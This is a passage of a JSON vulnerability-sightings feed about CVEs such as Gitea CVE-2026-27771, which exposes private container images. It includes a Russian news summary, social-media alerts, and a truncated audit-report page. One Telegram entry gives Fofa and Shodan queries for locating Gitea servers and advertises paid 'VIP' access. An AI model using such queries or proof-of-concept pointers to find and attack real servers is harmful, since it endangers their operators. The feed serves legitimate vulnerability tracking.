\u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b.\n\n\u0412 \u0432\u0438\u0434\u0443 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u043e\u0431\u0440\u0430\u0437\u0430\u043c, \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u043d\u044b\u0435, \u0430 \u0440\u0435\u0435\u0441\u0442\u0440 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0438\u0445 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b Docker/OCI \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 API \u0440\u0435\u0435\u0441\u0442\u0440\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u0434\u0435 Gitea \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.26.2 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0420\u0435\u0435\u0441\u0442\u0440 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 Gitea \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0437\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0431\u044b \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438, \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432, \u043a\u0430\u043a \u0435\u0441\u043b\u0438 \u0431\u044b \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0431\u0440\u0430\u0437\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u0443\u0434\u0443\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c NoScope, \u043f\u043e\u0438\u0441\u043a \u0432 Shodan \u0432\u044b\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 34 000 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Gitea. \u0418\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 93%, \u0438\u043b\u0438 31 750, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 4000 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0438\u043b\u0438 VPS-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445. \u041e\u043a\u043e\u043b\u043e 7000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 Gitea \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c NoScope, \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b \u0438 \u044d\u0442\u043e \u043d\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u043e\u0431\u044b\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0432\u0448\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u044f\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.2 \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u0442\u0430 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438; \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0432 \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u0432\u0435\u0441\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u0430 \u0438 \u043f\u0440\u043e\u0442\u0438\u0432.", "creation_timestamp": "2026-05-28T14:43:19.000000Z"}, {"uuid": "5608d769-a0df-4f98-8dff-c70f47e953ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mmwdnbqbrc2j", "content": "Security flaw in Gitea (CVE-2026-27771) allows unauthenticated remote attackers to access private container images\u2014affects all versions before 1.26.2. Update now!", "creation_timestamp": "2026-05-28T15:29:56.553835Z"}, {"uuid": "98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27771", "type": "seen", "source": "https://bsky.app/profile/bladews.fosstodon.org.ap.brid.gy/post/3mmwebhvvdwq2", "content": "Gitea CVE-2026-27771: Private Container Images Were Never Private\n\nhttps://byteiota.com/gitea-cve-2026-27771-private-container-images-were-never-private/", "creation_timestamp": "2026-05-28T15:41:20.702207Z"}, {"uuid": "782d2a11-9f67-4d0d-b8dc-f236df89d4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2764", "type": "published-proof-of-concept", "source": "Telegram/PfEGiROgrNR5ykZ5BXHTDqc3pwoH93Egm5-xEiTSmFuTh6c", "content": "", "creation_timestamp": "2026-08-12T08:00:04.012805Z"}, {"uuid": "7f4641d3-1e67-428c-8ad5-30b077f02e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2766", "type": "published-proof-of-concept", "source": "Telegram/PfEGiROgrNR5ykZ5BXHTDqc3pwoH93Egm5-xEiTSmFuTh6c", "content": "", "creation_timestamp": "2026-08-12T08:00:04.121400Z"}, {"uuid": "ebb47003-d2ce-4629-8383-2fb958126e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mmyigss77c2k", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-27142 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/532 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-05-29T12:01:07.532138Z"}, {"uuid": "f6576bec-8ee6-48f3-ae67-d69702bb21f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "Telegram/4EvRsx4wkIBGmtV9q0ZaHiSSvBRlpxxqVvtdsqPjBZBFUQ", "content": "", "creation_timestamp": "2026-05-27T13:29:59.000000Z"}, {"uuid": "3d12fba1-22b0-4c7b-9347-bba1a0806979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27771.yaml", "content": "", "creation_timestamp": "2026-05-30T13:12:12.000000Z"}, {"uuid": "fc490583-35aa-4099-98e6-85111d59465a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/realcodeb0ss/450", "content": "[The Most Advanced In All The Earth and The World.]\n\nhttps://thehackernews.com/2026/05/gitea-vulnerability-exposes-private.html\n\nhttps://horizon3.ai/attack-research/vulnerabilities/cve-2026-27771/\n\nhttps://orca.security/resources/blog/gitea-container-registry-vulnerability/\n\n\nFofa : app=\"Gitea\" - (245,703 Records)\n\nShodan : http.html:\"Gitea\"\n\nProofs are posted in the comments,\nFor any problems, or to purchase VIP access and features, please contact: @uncodeboss\n\n\nThis content is shared strictly for authorized testing, educational, \nand research purposes only. It is not intended for malicious use. All techniques, tools, \nor information provided are meant to demonstrate security concepts and to raise awareness in a controlled and legal environment. \nPlease do not remove or flag this content, as it is shared responsibly for learning and academic purposes.", "creation_timestamp": "2026-05-31T14:13:54.000000Z"}, {"uuid": "2d4b3bc6-2d1a-4a2a-943c-1e442d599573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27788", "type": "seen", "source": "https://jvn.jp/en/jp/JVN67883085", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "632af77b-3d31-403c-87d2-a62c9270586c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/GithubRedTeam/86785", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27654\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JohannesLks\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 5  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 07:33:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNGINX `ngx_http_dav_module` Heap Buffer Overflow via `size_t` Underflow (Remote DoS / Potential RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T08:00:04.000000Z"}, {"uuid": "70162485-6e5a-4add-adbf-cf73ddad01c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27788", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mna4ud3bsx2q", "content": "CVE-2026-27788 - ServerView Agents for Windows Privilege Escalation Vulnerability\nCVE ID : CVE-2026-27788\n \n Published : June 1, 2026, 9:16 a.m. | 1\u00a0hour, 57\u00a0minutes ago\n \n Description : Incorrect permission assignment for critical resource issue exists in ServerView Agents fo...", "creation_timestamp": "2026-06-01T12:55:14.107088Z"}, {"uuid": "a338ddff-44dc-454a-b449-6cd8db36f5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27243", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnby75gnub26", "content": "\ud83d\udccc CVE-2026-27243 - Adobe Connect versions 2025.3, 12.10 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this ... https://www.cyberhub.blog/cves/CVE-2026-27243", "creation_timestamp": "2026-06-02T06:37:08.605423Z"}, {"uuid": "ad7fad74-d2b4-4f14-a504-32c96525cc55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27928", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnchbwgy7v24", "content": "\ud83d\udccc CVE-2026-27928 - Improper input validation in Windows Hello allows an unauthorized attacker to bypass a security feature over a network. https://www.cyberhub.blog/cves/CVE-2026-27928", "creation_timestamp": "2026-06-02T11:07:07.551952Z"}, {"uuid": "fdc96429-bcf5-4ae9-bd6c-339074276037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27212", "type": "seen", "source": "Telegram/hGWk8MIih0D3DxUwNWRe3y8KubP65D3PuLH-MA53N78330U", "content": "", "creation_timestamp": "2026-06-02T15:00:07.000000Z"}, {"uuid": "acf7815f-dbad-4512-8a1c-82a721a45123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27886", "type": "seen", "source": "Telegram/1dYzfg1XM2qRQo76_hZ2Pm0Eu0GE_AxaWJiFzUmqdHimB0E", "content": "", "creation_timestamp": "2026-06-01T21:00:04.000000Z"}, {"uuid": "dc6d5963-86d2-484b-90c4-723de81821a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/scntechblogs.marianzeis.de/post/3mner7cxsm42j", "content": "\ud83d\udc64 Post by harshateja3 (by Members):\n\"Protecting Your SAP Landscape: Addressing the SQL Authorization Bypass (CVE-2026-27681)\"\n\ud83d\udd17 Link: https://community.sap.com/t5/technology-blog-posts-by-members/protecting-your-sap-landscape-addressing-the-sql-authorization-bypass-cve/ba-p/14387358", "creation_timestamp": "2026-06-03T09:09:57.005346Z"}, {"uuid": "757f34c3-26c6-41f7-ad05-de80b165e542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27145", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mnf2r6hlix2f", "content": "\n\ud83d\udea8 New UNKNOWN CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-27145 impacts stdlib in 26 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/543\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-06-03T12:00:59.709116Z"}, {"uuid": "1edd1663-954a-48fb-8ad8-a76f9dce6381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27456", "type": "seen", "source": "https://gist.github.com/C4sh3R/1f99346b1086e7d358ff1be8f5be7a42", "content": "\n\n\n\n\n\nColumtech \u2014 Informe de Auditor\u00eda de Seguridad \u00b7 c4sh3r\n\n  :root {\n    --bg: #0b0d12;\n    --bg-2: #11151c;\n    --panel: #161b25;\n    --panel-2: #1d2330;\n    --border: #2a3142;\n    --text: #e6e9ef;\n    --text-dim: #99a2b3;\n    --accent: #ff4d6d;\n    --accent-2: #ffb86b;\n    --crit: #ff3d57;\n    --high: #ff8b3d;\n    --med:  #ffd84a;\n    --low:  #4ac6ff;\n    --info: #8c9fb0;\n    --ok: #3ddc97;\n    --code-bg: #0a0d14;\n    --mono: ui-monospace, \"JetBrains Mono\", \"Fira Code\", Menlo, Consolas, monospace;\n  }\n  * { box-sizing: border-box; }\n  html, body { margin: 0; padding: 0; background: var(--bg); color: var(--text);\n               font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n               line-height: 1.55; -webkit-font-smoothing: antialiased; }\n  a { color: var(--accent-2); text-decoration: none; }\n  a:hover { text-decoration: underline; }\n  .hero {\n    padding: 60px 40px 50px;\n    background:\n      radial-gradient(1200px 400px at 10% -10%, rgba(255,77,109,0.25), transparent 60%),\n      radial-gradient(900px 380px at 100% 0%, rgba(255,184,107,0.15), transparent 60%),\n      linear-gradient(180deg, #0e1219, #0b0d12);\n    border-bottom: 1px solid var(--border);\n  }\n  .hero-inner { max-width: 1100px; margin: 0 auto; }\n  .eyebrow {\n    display: inline-flex; align-items: center; gap: 8px;\n    font-family: var(--mono); font-size: 12px; letter-spacing: 0.15em;\n    text-transform: uppercase; color: var(--accent);\n    padding: 4px 10px; border: 1px solid rgba(255,77,109,0.35);\n    border-radius: 999px; background: rgba(255,77,109,0.08);\n  }\n  .hero h1 { font-size: 44px; line-height: 1.1; margin: 18px 0 10px; letter-spacing: -0.02em; }\n  .hero h1 .accent { color: var(--accent); }\n  .hero .sub { color: var(--text-dim); font-size: 17px; max-width: 720px; }\n  .meta { margin-top: 30px; display: grid; grid-template-columns: repeat(4, 1fr); gap: 14px; }\n  .meta .card { background: rgba(22,27,37,0.7); border: 1px solid var(--border); border-radius: 10px; padding: 14px 16px; }\n  .meta .card .k { font-size: 11px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); }\n  .meta .card .v { font-family: var(--mono); font-size: 14px; margin-top: 6px; word-break: break-all; }\n  .author-strip {\n    display: flex; align-items: center; gap: 14px; margin-top: 24px;\n    padding: 12px 16px; border: 1px dashed var(--border); border-radius: 10px;\n    background: rgba(255,255,255,0.02); font-family: var(--mono); font-size: 13px; color: var(--text-dim);\n  }\n  .author-strip strong { color: var(--accent); }\n  .container { max-width: 1100px; margin: 0 auto; padding: 40px; }\n  section { margin-bottom: 60px; }\n  h2 { font-size: 26px; margin: 0 0 18px; letter-spacing: -0.01em; display: flex; align-items: center; gap: 12px; }\n  h2::before { content: ''; width: 4px; height: 22px; background: var(--accent); border-radius: 2px; }\n  h3 { font-size: 19px; margin: 22px 0 10px; }\n  p { color: var(--text); }\n  p.dim { color: var(--text-dim); }\n  .stats { display: grid; grid-template-columns: repeat(5, 1fr); gap: 12px; margin-top: 10px; }\n  .stat { background: var(--panel); border: 1px solid var(--border); border-radius: 12px; padding: 18px; text-align: center; }\n  .stat .num { font-size: 32px; font-weight: 700; font-family: var(--mono); }\n  .stat .lbl { font-size: 12px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); margin-top: 6px; }\n  .stat.crit .num { color: var(--crit); } .stat.high .num { color: var(--high); }\n  .stat.med  .num { color: var(--med); }  .stat.low  .num { color: var(--low); }\n  .stat.info .num { color: var(--info); }\n  table.summary { width: 100%; border-collapse: collapse; margin-top: 16px; background: var(--panel); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; }\n  table.summary th, table.summary td { padding: 12px 14px; text-align: left; border-bottom: 1px solid var(--border); font-size: 14px; }\n  table.summary th { background: var(--panel-2); font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--text-dim); }\n  table.summary tr:last-child td { border-bottom: none; }\n  table.summary tr:hover td { background: rgba(255,255,255,0.02); }\n  .badge { display: inline-block; padding: 3px 9px; border-radius: 4px; font-size: 11px; font-weight: 700; font-family: var(--mono); letter-spacing: 0.05em; text-transform: uppercase; }\n  .badge.crit { background: rgba(255,61,87,0.15); color: var(--crit); border: 1px solid rgba(255,61,87,0.4); }\n  .badge.high { background: rgba(255,139,61,0.13); color: var(--high); border: 1px solid rgba(255,139,61,0.4); }\n  .badge.med  { background: rgba(255,216,74,0.13); color: var(--med);  border: 1px solid rgba(255,216,74,0.4); }\n  .badge.low  { background: rgba(74,198,255,0.13); color: var(--low);  border: 1px solid rgba(74,198,255,0.4); }\n  .badge.info { background: rgba(140,159,176,0.13); color: var(--info); border: 1px solid rgba(140,159,176,0.4); }\n  .finding { background: var(--panel); border: 1px solid var(--border); border-radius: 14px; margin-top: 22px; overflow: hidden; }\n  .finding .head { display: flex; align-items: center; gap: 14px; flex-wrap: wrap; padding: 18px 22px; background: var(--panel-2); border-bottom: 1px solid var(--border); }\n  .finding.crit .head { box-shadow: inset 4px 0 0 0 var(--crit); }\n  .finding.high .head { box-shadow: inset 4px 0 0 0 var(--high); }\n  .finding.med .head  { box-shadow: inset 4px 0 0 0 var(--med); }\n  .finding.low .head  { box-shadow: inset 4px 0 0 0 var(--low); }\n  .finding.info .head { box-shadow: inset 4px 0 0 0 var(--info); }\n  .finding .head .id { font-family: var(--mono); color: var(--text-dim); font-size: 13px; }\n  .finding .head .title { font-size: 17px; font-weight: 600; flex: 1; }\n  .finding .body { padding: 22px; }\n  .finding .body h4 { font-size: 11px; text-transform: uppercase; letter-spacing: 0.14em; color: var(--text-dim); margin: 18px 0 8px; }\n  .finding .body h4:first-child { margin-top: 0; }\n  .finding ul { margin: 0 0 6px; padding-left: 22px; }\n  .finding li { margin-bottom: 4px; }\n  pre, code { font-family: var(--mono); font-size: 13px; }\n  pre { background: var(--code-bg); border: 1px solid var(--border); border-radius: 8px; padding: 14px 16px; overflow-x: auto; line-height: 1.5; color: #d6dbe6; }\n  code.inline { background: rgba(255,255,255,0.05); padding: 1px 6px; border-radius: 4px; border: 1px solid var(--border); font-size: 12px; }\n  .kv { display: grid; grid-template-columns: 160px 1fr; gap: 6px 16px; font-size: 13.5px; }\n  .kv .k { color: var(--text-dim); font-family: var(--mono); font-size: 12px; padding-top: 2px; }\n  .callout { border-left: 3px solid var(--accent); background: rgba(255,77,109,0.05); padding: 14px 18px; border-radius: 0 8px 8px 0; margin: 12px 0; font-size: 